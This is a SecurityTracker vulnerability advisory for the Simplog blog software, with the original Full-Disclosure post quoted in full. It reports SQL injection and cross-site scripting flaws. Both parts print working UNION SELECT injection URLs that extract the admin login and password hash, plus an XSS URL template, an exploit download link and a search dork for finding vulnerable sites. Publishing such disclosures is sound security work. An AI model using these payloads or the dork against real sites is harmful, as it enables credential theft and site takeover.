Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
Simplog Input Validation Holes in 'preview.php', 'archive.php', and 'comments.php' Permit SQL Injection Attacks
|
|
SecurityTracker Alert ID: 1015976 |
|
SecurityTracker URL: http://securitytracker.com/id/1015976
|
|
CVE Reference:
CVE-2006-2029
(Links to External Site)
|
Updated: Oct 20 2006
|
Original Entry Date: Apr 22 2006
|
Impact:
Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
|
Exploit Included: Yes
|
Version(s): 0.9.3 and prior versions
|
Description:
A vulnerability was reported in Simplog. A remote user can conduct cross-site scripting attacks. A remote user can inject SQL commands.
The software does not properly validate user-supplied input. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.
The 'tid' parameter in 'preview.php' is affected. The 'cid', 'pid', and 'eid' parameters in 'archive.php' are affected. The 'pid' parameter in 'comments.php' is affected.
Some demonstration exploit URLs are provided:
http://[target]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=-1/**/UNION/**/SELECT/**/
concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[target]/[simplogdir]/archive.php?blogid=1&cid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[target]/[simplogdir]/archive.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[target]/[simplogdir]/archive.php?blogid=1&eid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[target]/[simplogdir]/comments.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
with this examples remote attacker can leak speficied admins login
information from database.
The 'imagelist.php' script does not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Simplog software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A demonstration exploit URL is provided:
http://[target]/[simplogdir]/imagelist.php?blogid=1&act=add_entry&login=1&imagedir=[XSS]
The vendor was notified on April, 21, 2006.
Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI reported this vulnerability.
The original advisory is available at:
http://www.nukedx.com/?viewdoc=25
A demonstration exploit is available at:
http://www.nukedx.com/?getxpl=25
On October 19, 2006, navairum at gmail.com reported that version 0.9.3.1 is still affected by the 'preview.php' 'tid' parameter SQL injection vulnerability.
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Simplog software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
A remote user can execute SQL commands on the underlying database.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.simplog.org/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Date: Sat, 22 Apr 2006 00:54:25 +0300
Subject: [Full-disclosure] Advisory: Simplog <= 0.93 Multiple Remote
|
--Security Report--
Advisory: Simplog <= 0.93 Multiple Remote Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 21/04/06 22:13 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: Simplog (http://www.simplog.org/)
Version: 0.93 and prior versions must be affected.
About: Via this methods remote attacker can inject arbitrary SQL queries to
tid parameter in preview.php,
cid,pid and eid in archive.php and pid in comments.php.As u know rgod was
published advisory about version 0.92 but he
did not notice this SQL injections. He found other SQL injections on
archive.php but did not found these vulnerabilities.
Also there is cross site scripting vulnerability in imagelist.php's imagedir
parameter.
Level: Critical
---
How&Example:
SQL Injection :
Needs MySQL > 4.0
GET -> http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&cid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&pid=[SQL]
GET -> http://[victim]/[simplogdir]/archive.php?blogid=1&eid=[SQL]
EXAMPLE ->
http://[victim]/[simplogdir]/preview.php?adm=tem&blogid=1&tid=-1/**/UNION/**/SELECT/**/
concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/archive.php?blogid=1&cid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/archive.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/archive.php?blogid=1&eid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
EXAMPLE ->
http://[victim]/[simplogdir]/comments.php?blogid=1&pid=-1/**/UNION/**/SELECT/**/0,null,0,email,0,0,login,
password,0,admin,0/**/from/**/blog_users/**/where/**/admin=1/*
with this examples remote attacker can leak speficied admins login
information from database.
XSS:
GET ->
http://[victim]/[simplogdir]/imagelist.php?blogid=1&act=add_entry&login=1&imagedir=[XSS]
---
Timeline:
* 21/04/2006: Vulnerability found.
* 21/04/2006: Contacted with vendor and waiting reply.
---
Exploit:
http://www.nukedx.com/?getxpl=25
---
Dorks: "powered by simplog"
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=25
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
|
|
Go to the Top of This SecurityTracker Archive Page
|
